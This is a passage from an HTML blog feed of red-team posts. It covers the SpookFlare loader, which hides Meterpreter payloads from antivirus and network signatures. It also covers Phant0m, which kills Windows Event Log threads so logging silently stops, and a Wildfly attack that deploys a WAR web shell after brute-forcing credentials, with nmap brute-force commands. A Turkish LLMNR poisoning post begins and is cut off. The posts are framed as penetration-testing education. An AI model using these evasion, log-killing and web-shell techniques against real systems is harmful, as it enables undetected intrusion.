            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Errors&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;HasErrors&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;StringBuilder&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sb&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;StringBuilder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

                &lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CompilerError&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;error&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Errors&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;n&quot;&gt;sb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AppendLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Error ({0}): {1}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ErrorNumber&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ErrorText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

                &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;InvalidOperationException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ToString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Assembly&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;assembly&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CompiledAssembly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Type&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;program&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;assembly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;runtimeCode.compile&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;MethodInfo&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;program&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetMethod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Main&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Invoke&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;SpookFlare payloads are uses the runtime code compiling and execution. Each generated SpookFlare payloads contains own loader code and when executed, it give the loader code to the compiler.&lt;/p&gt;

&lt;h2 id=&quot;source-code-encryption&quot;&gt;Source Code Encryption&lt;/h2&gt;

&lt;p&gt;So far we have learned that we can use the string-based obfuscation and compile the code at runtime. However, when doing all of this we need to hide code the actual loader. Because the loader code being moved will have a disadvantage against signature-based fixes when the loader code defined clear-text. So SpookFlare encrypts the original loader’s code using the RijnDaelManaged class and when executed it decrypts the loader code after then it give the code to the compiler. It is act like crypters and finally, it execute the compiled code.&lt;/p&gt;

&lt;h2 id=&quot;bypassing-network-level-countermeasures&quot;&gt;Bypassing Network Level Countermeasures&lt;/h2&gt;

&lt;p&gt;I inspired this section from @Arno0x0x and wanted to improve it. We usually use Meterpreter Staged Payloads, as you know, these payloads download their cores (stage) over the network and run in the target system memory. Security countermeasures may not only be in the end-user system but also at the network level, remember the IDS/IPS etc. Although the security countermeasures in end-user systems are bypassed, security countermeasures at network level can jeopardize an entire operation.&lt;/p&gt;

&lt;p&gt;So, how can they detect the malicious files at the right network level? The answer is signature-based detection. For this situation you can use an encoder for Meterpreter’s core (stage) and you can bypass the network-level countermeasures. It can be the first conceivable idea and makes sense. If you use an encoder, you need to add a stub to decode it and creation of a signature for decoder is easier for malware analysts. We need something different and more difficult to analyze or detect. SpookFlare can handle this better without any encoder.&lt;/p&gt;

&lt;p&gt;How do malware analysts write signatures for a binary? By creating unique patterns and creating these patterns for the head of the file. I mean, malware analysts are creating signatures for the header part of the file. Thus, they can prevent false-positives and detect malicious files more easily. So here is the solution or SpookFlare offer; if we add random bytes at the beginning of the application we can bypass network-based countermeasures and for this solution we need to patch Metasploit.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2017-11-14-spookflare/network-side-detection.png&quot; alt=&quot;Detection Result of Network-Based Countermeasures for Meterpreter&quot; title=&quot;Detection Result of Network-Based Countermeasures for Meterpreter&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;meterpreter_loader.rb&lt;/code&gt; in Metasploit is responsible for creating the Stage. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/share/metasploit-framework/lib/msf/core/payload/windows/x64/meterpreter_loader.rb&lt;/code&gt; file for x64 stages and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/share/metasploit-framework/lib/msf/core/payload/windows/meterpreter_loader.rb&lt;/code&gt; file for x86 stages. We will add random bytes to the beginning of the Stage and for this process and we can use securerandom library in the Ruby language. The screenshot of this process is given below.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2017-11-14-spookflare/patch-one.png&quot; alt=&quot;Patching Metasploit&quot; title=&quot;Patching Metasploit&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After, we define the creation of the actual Stage with generated random bytes. The screenshot of this process is given below.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2017-11-14-spookflare/patch-two.png&quot; alt=&quot;Patching Metasploit&quot; title=&quot;Patching Metasploit&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finally we will tell the Loader to remove the bytes added from the beginning of Stage and run the rest. Array.Copy or Buffer.BlockCopy functions can be used in C# for this, but Array.Copy is used in the SpookFlare Loaders because Array.Copy is faster than the Buffer.BlockCopy.&lt;/p&gt;

&lt;p&gt;The scan results of SpookFlare loader, standard and patched Meterpreter stages are given below.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2017-11-14-spookflare/spookflare-loader-result.png&quot; alt=&quot;SpookFlare Loader Scan Result&quot; title=&quot;SpookFlare Loader Scan Result&quot; class=&quot;center-image&quot; /&gt;
&lt;em&gt;SpookFlare Loader Scan Result&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2017-11-14-spookflare/stadart-stage-result.png&quot; alt=&quot;Standart Meterpreter Stage Scan Result&quot; title=&quot;Standart Meterpreter Stage Scan Result&quot; class=&quot;center-image&quot; /&gt;
&lt;em&gt;Standart Meterpreter Stage Scan Result&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2017-11-14-spookflare/patched-stage-result.png&quot; alt=&quot;Patched Meterpreter Stage Scan Result&quot; title=&quot;Patched Meterpreter Stage San Result&quot; class=&quot;center-image&quot; /&gt;
&lt;em&gt;Patched Meterpreter Stage Scan Result&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;As you know the security product firms can generate unique signatures of SpookFlare or behavioral algorithms when the usage rate of SpookFlare increases. When this happens, it will be time to change signatures and behavior. I/We will change signatures and behavior, or I/We will develop entirely new techniques. At the end of the day we will bypass the measures again in a very high probability because this is a cat mouse game that has no end. :) I developed the SpookFlare and technique for use in penetration tests, red team engagements and it is purely educational. Please use with responsibility.&lt;/p&gt;

&lt;p&gt;In the above sections, I tried to explain as much as possible how SpookFlare works. You can access the usage video and the project on Github below links.&lt;/p&gt;

&lt;p&gt;Usage Video, &lt;a href=&quot;https://www.youtube.com/watch?v=p_eKKVoEl0o&quot;&gt;https://www.youtube.com/watch?v=p_eKKVoEl0o&lt;/a&gt;&lt;br /&gt;
Project, &lt;a href=&quot;https://github.com/hlldz/SpookFlare&quot;&gt;https://github.com/hlldz/SpookFlare&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Usage_share_of_operating_systems&quot;&gt;Usage share of operating systems - Wikipedia&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/framework/reflection-and-codedom/dynamic-source-code-generation-and-compilation&quot;&gt;Dynamic Source Code Generation and Compilation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.codeproject.com/Tips/715891/Compiling-Csharp-Code-at-Runtime&quot;&gt;Compiling C# Code at Runtime&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/1389821/array-copy-vs-buffer-blockcopy&quot;&gt;Array.Copy vs Buffer.BlockCopy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.codeproject.com/Articles/65183/Buffer-BlockCopy-not-as-fast-as-you-think&quot;&gt;Buffer.BlockCopy Not As Fast As You Think&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://arno0x0x.wordpress.com/2016/04/13/meterpreter-av-ids-evasion-powershell/&quot;&gt;Meterpreter stage AV/IDS evasion with powershell&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><author><name></name></author><summary type="html">Windows is still the most popular end-user operating system and security products are mostly installed on Windows operating systems. Desktop operating system market share graph is given below from NetMarketShare report for August 2017. If an operating system has the highest usage rate in end user systems, it will be the target of attackers in the same way. This means security products will be used in that operating systems and that security products will have to develop themselves day by day against attacks.</summary></entry><entry><title type="html">Phant0m: Killing Windows Event Log</title><link href="/2017/06/05/phant0m-killing-windows-event-log.html" rel="alternate" type="text/html" title="Phant0m: Killing Windows Event Log" /><published>2017-06-05T16:37:00+03:00</published><updated>2017-06-05T16:37:00+03:00</updated><id>/2017/06/05/phant0m-killing-windows-event-log</id><content type="html" xml:base="/2017/06/05/phant0m-killing-windows-event-log.html">&lt;p&gt;Phant0m is a PowerShell script and targets the Windows Event Log Service in Windows operating system. Because the most traces of a possible attack remain in the operating system logs. If we targeting Event Log Service first of all, let’s remember how services working on Windows operating system. When you look at the task manager, you see a lot of svchost.exe. If we are interested in Windows’ own services, we need to know how svchost.exe works and why?&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2017-06-05-phant0m-killing-windows-event-log/svchost.png&quot; alt=&quot;svchost.exe&quot; /&gt;
&lt;em&gt;svchost.exe&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Svchost is essential in the implementation of so-called shared service processes, where a number of services can share a process in order to reduce resource consumption. Grouping multiple services into a single process conserves computing resources, and this consideration was of particular concern to NT designers because creating Windows processes takes more time and consumes more memory than in other operating systems, e.g. in the Unix family.&lt;sup&gt;1&lt;/sup&gt; This means briefly that; On Windows operating systems, svchost.exe manages the services and services are actually running under svchost.exe’s as threads.&lt;/p&gt;

&lt;p&gt;P.S: If you want to get more detailed information about the threads I would recommend you to read this, &lt;a href=&quot;https://www.microsoftpressstore.com/articles/article.aspx?p=2233328&quot;&gt;Processes, Threads, and Jobs in the Windows Operating System&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Phant0m works briefly as follows;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Detect the process of the Windows Event Log Service in the target operating system.&lt;/li&gt;
  &lt;li&gt;Get thread list and identify the Windows Event Log Service thread IDs.&lt;/li&gt;
  &lt;li&gt;Kill all threads about the Windows Event Log Service.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If Phant0m runs successfully, Windows Event Log Service will not work. So the target system will not be able to collect logs and will not be able to send logs because it can not collect logs. At the same time the Windows Event Log Service will appear to be running because the svchost.exe process for the Windows Event Log Service has not been stopped but only the related threads have been stopped. This is the main advantage and purpose of Phant0m’s. The service stops, but everything seems to be working.&lt;/p&gt;

&lt;p&gt;If you want to do something like Phant0m does, you need to detect service name from thread ID. There are two ways I know, you can follow. In short, the first way is to get the subProcessTag value from Windows Event Log Service threads in their Thread Environment Block (TEB). The second way is to detect the DLLs used by the Windows Event Log Service threads.&lt;/p&gt;

&lt;h2 id=&quot;getting-subprocesstag-value-from-teb&quot;&gt;Getting subProcessTag Value From TEB&lt;/h2&gt;

&lt;p&gt;When each service is registered on a machine running Windows Vista or later, the Service Control Manager (SCM) assigns a unique numeric tag to the service (in ascending order). Then, at service creation time, the tag is assigned to the TEB of the main service thread. This tag will then be propagated to every thread created by the main service thread. For example, if the Foo service thread creates an RPC worker thread (note: RPC worker threads don’t use the thread pool mechanism more on that later), that thread will have the Service Tag of the Foo service.&lt;sup&gt;2&lt;/sup&gt;&lt;/p&gt;

&lt;p&gt;If you want to use this way, you need to use NtQueryInformationThread API to get the thread’s TEB address, after then you need to read the SubProcessTag from the TEB. You can do NtReadVirtualMemory and I_QueryTagInformation APIs.&lt;/p&gt;

&lt;p&gt;You can access sample code from here, &lt;a href=&quot;https://wj32.org/wp/2010/03/30/howto-use-i_querytaginformation/&quot;&gt;HOWTO: Use I_QueryTagInformation&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;walking-threads-stack&quot;&gt;Walking Threads Stack&lt;/h2&gt;

&lt;p&gt;We can access stack of thread and search for which DLLs are used by the specific thread. Windows Event Log Service uses wevtsvc.dll. Full path is %WinDir%\System32\wevtsvc.dll. If the thread is using that DLL, it is the Windows Event Log Service’s thread. That’s the way Phant0m uses.&lt;/p&gt;

&lt;h2 id=&quot;killing-threads&quot;&gt;Killing Threads&lt;/h2&gt;

&lt;p&gt;Whichever way you prefer, if you have identified threads of Windows Event Log Service you can go to the killing stage. This section is easier and faster, you need to three API for killing threads. You can do that OpenThread, TerminateThread and CloseHandle APIs.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2017-06-05-phant0m-killing-windows-event-log/phant0m.jpg&quot; alt=&quot;Phant0m&quot; /&gt;
&lt;em&gt;Phant0m&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;You can access &lt;a href=&quot;https://github.com/hlldz/Invoke-Phant0m&quot;&gt;Phant0m’s code on GitHub&lt;/a&gt; and watch the video on YouTube about &lt;a href=&quot;https://www.youtube.com/watch?v=PF0-tZWCmpc&quot;&gt;using Phant0m.&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Svchost.exe&quot;&gt;Svchost.exe - Wikipedia&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.alex-ionescu.com/?p=52&quot;&gt;ScTagQuery: Mapping Service Hosting Threads With Their Owner Service&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wj32.org/wp/2010/03/30/howto-use-i_querytaginformation/&quot;&gt;HOWTO: Use I_QueryTagInformation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Region-based_memory_management&quot;&gt;Region-based memory management - Wikipedia&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ee416588.aspx&quot;&gt;Debugging with Symbols&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/8679406/get-startaddress-of-win32-thread-from-another-process&quot;&gt;Get StartAddress of win32 thread from another process&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/33859527/how-to-find-windows-service-by-pid-and-thread-id&quot;&gt;How to find Windows service by PID and thread ID?&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</content><author><name></name></author><summary type="html">Phant0m is a PowerShell script and targets the Windows Event Log Service in Windows operating system. Because the most traces of a possible attack remain in the operating system logs. If we targeting Event Log Service first of all, let’s remember how services working on Windows operating system. When you look at the task manager, you see a lot of svchost.exe. If we are interested in Windows’ own services, we need to know how svchost.exe works and why?</summary></entry><entry><title type="html">Wildfly Exploitation</title><link href="/2017/05/13/wildfly-exploitation.html" rel="alternate" type="text/html" title="Wildfly Exploitation" /><published>2017-05-13T16:37:00+03:00</published><updated>2017-05-13T16:37:00+03:00</updated><id>/2017/05/13/wildfly-exploitation</id><content type="html" xml:base="/2017/05/13/wildfly-exploitation.html">&lt;p&gt;Once upon a time, I was working on a penetration test. All day, I looked for an entry point but there was no any exploitable vulnerability on customer systems. I couldn’t get any system neither low privileges nor high privileges. During the penetration test, I found a default/predictable credentials on WildFly Application Server. I hadn’t heart that application before. I searched on internet it and there wasn’t anything on internet about the Wildfly exploitation. So I decided analyze the application. How can I get system over the Wildfly application?&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2017-05-13-wildfly-exploitation/wildfly.png&quot; alt=&quot;Wildfly&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After a couple of time I figured out;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;WildFly, formerly known as JBoss AS, or simply JBoss, is an application server authored by JBoss, now developed by Red Hat. WildFly is written in Java, and implements the Java Platform, Enterprise Edition (Java EE) specification. It runs on multiple platforms. WildFly is free and open-source software, subject to the requirements of the GNU Lesser General Public License (LGPL), version 2.1.&lt;sup&gt;1&lt;/sup&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;As written above description, Wildfly is an application server based on Java. If you get a Java-based application, should not it be so hard to get the system? As you know three billion devices run Java. :P&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2017-05-13-wildfly-exploitation/java.png&quot; alt=&quot;Java&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h2&gt;

&lt;p&gt;After accessing that credentials, I saw my customer using an application on Wildfly which has a .WAR extension. I can exploit that system like exploiting Tomcat!? No, unfortunately Wildfly did not worked the .WAR file which I created for Tomcat or Glassfish before. I read Wildfly documentation and I found how to create averagely a .WAR file for Wildfly. So, I create my own customized .WAR shell.&lt;/p&gt;

&lt;p&gt;Wildfly wants a directory which is called WEB-INF and I created custom a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jboss-web.xml&lt;/code&gt; file under the WEB-INF directory. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jboss-web.xml&lt;/code&gt; must contain simply following lines;&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;jboss-web&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://www.jboss.com/xml/ns/javaee&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns:xsi=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xsi:schemaLocation=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot; http://www.jboss.com/xml/ns/javaee http://www.jboss.org/j2ee/schema/jboss-web_5_1.xsd&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;context-root&amp;gt;&lt;/span&gt;/wildPwn&lt;span class=&quot;nt&quot;&gt;&amp;lt;/context-root&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/jboss-web&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;context-root&amp;gt;&lt;/code&gt; tag means, your application directory. If you write &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wildPwn&lt;/code&gt; it will be accessible under that directory. By the way, I used modified Laudanum’s cmd.jsp as shell for bypassing endpoint security solution. Finally I uploaded my .WAR file and I was accessed the shell using that URL schema; &lt;a href=&quot;http://ipOrDomain.com:port/shellDirectory/shell.jsp&quot;&gt;http://ipOrDomain.com:port/shellDirectory/shell.jsp&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After penetration test, I wrote a tool for Wildfly called wildPwn. It can accessable on Github, &lt;a href=&quot;https://github.com/hlldz/wildPwn&quot;&gt;wildPwn Project&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;wildPwn can brute force the Wildfly and upload a shell for running system commands on target. You can access usage video on YouTube, &lt;a href=&quot;https://www.youtube.com/watch?v=kTsPwA7QhLU&quot;&gt;wildPwn usage video&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2017-05-13-wildfly-exploitation/wildpwn.png&quot; alt=&quot;wildPwn&quot; /&gt;
&lt;em&gt;wildPwn&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;nmap-scripts&quot;&gt;Nmap Scripts&lt;/h2&gt;

&lt;p&gt;Also Nmap scripts are ready for detection and brute force processes. You can access that scripts under Nmap Scripts directroy of &lt;a href=&quot;https://github.com/hlldz/wildPwn/tree/master/Nmap%20Scripts&quot;&gt;wildPwn project&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For detection,&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;nmap &lt;span class=&quot;nt&quot;&gt;--script&lt;/span&gt; wildfly-detect &amp;lt;TARGET&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Sample output,&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/hlldz/wildPwn/master/Nmap%20Scripts/wildfly-detect.png&quot; alt=&quot;Wildfly Detection&quot; /&gt;
&lt;em&gt;Wildfly Detection&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;For brute force,&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;nmap &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 9990 &lt;span class=&quot;nt&quot;&gt;--script&lt;/span&gt; wildfly-brute &lt;span class=&quot;nt&quot;&gt;--script-args&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;userdb=usernameList.txt,passdb=passList.txt,hostname=domain.com&quot;&lt;/span&gt; &amp;lt;TARGET&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Sample output,&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/hlldz/wildPwn/master/Nmap%20Scripts/wildfly-brute.png&quot; alt=&quot;Wildfly Brute Force&quot; /&gt;
&lt;em&gt;Wildfly Brute Force&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Happy Hunting!&lt;/p&gt;

&lt;h2 id=&quot;referanslar&quot;&gt;Referanslar&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/WildFly&quot;&gt;Wildfly - Wikipedia&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.jboss.org/author/display/WFLY10/Documentation&quot;&gt;Wildfly Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</content><author><name></name></author><summary type="html">Once upon a time, I was working on a penetration test. All day, I looked for an entry point but there was no any exploitable vulnerability on customer systems. I couldn’t get any system neither low privileges nor high privileges. During the penetration test, I found a default/predictable credentials on WildFly Application Server. I hadn’t heart that application before. I searched on internet it and there wasn’t anything on internet about the Wildfly exploitation. So I decided analyze the application. How can I get system over the Wildfly application?</summary></entry><entry><title type="html">LLMNR, NetBIOS-NS Poisoning</title><link href="/2016/12/04/llmnr-netbios-ns-poisoning.html" rel="alternate" type="text/html" title="LLMNR, NetBIOS-NS Poisoning" /><published>2016-12-04T16:37:00+03:00</published><updated>2016-12-04T16:37:00+03:00</updated><id>/2016/12/04/llmnr-netbios-ns-poisoning</id><content type="html" xml:base="/2016/12/04/llmnr-netbios-ns-poisoning.html">&lt;p&gt;Yerel ağda hedefin veya hedeflerin trafiğini ele geçirmek ve müdahale etmek için birden fazla yöntem bulunmaktadır. Bunların arasında ARP Poisoning en bilineni olup, en fazla istismar edilenidir. TCP/IP uzun yıldır var olan bir protokol ve ARP Poisoning, Rogue DHCP Server Attack vs. ise yine yıllardır yerel ağ trafiğine müdahale etmekte kullanılan saldırı yöntemlerinden bazılarıdır.&lt;/p&gt;

&lt;p&gt;Gerçekleştirdiğim sızma testlerinde tecrübe ettiğim bir nokta var; yerel ağlarda bu saldırı yöntemleri her zaman işe yaramamaktadır, çünkü ARP Poisoning DHCP Starvation vb. saldırı tekniklerinin önlemleri büyük oranda Switch üzerinde kolaylıkla alınabilmektedir. Günümüzde bilinçlenmelinin artmasıyla “yıllardır” var olan TCP/IP protokolündeki, “yıllardır” istismar edilen/edilebilecek zafiyetler için ağ yöneticileri önlemlerini “almaktadır”.&lt;/p&gt;

&lt;p&gt;Bu noktada şöyle bir soru sorarsak sanırım, yazıyı daha da anlamlandırabiliriz ve tam anlamıyla giriş yapabiliriz; yerel ağ saldırıları (ARP Poisoning, DHCP Starvation, Rouge DHCP vs.) için tüm önlemlerin alındığı bir ağ içerisinde hedef veya hedeflerin ağ trafiğine nasıl müdahale ederiz veya hedefe nasıl arka kapı yerleştirebiliriz?&lt;/p&gt;

&lt;p&gt;Kurumsal ağlar içerisinde özellikle son kullanıcı tarafında Windows işletim sistemleri en çok kullanılan işletim sistemidir ve aşağıdaki grafikte örnek işletim sistemi kullanım dağılımı verilmiştir.&lt;/p&gt;

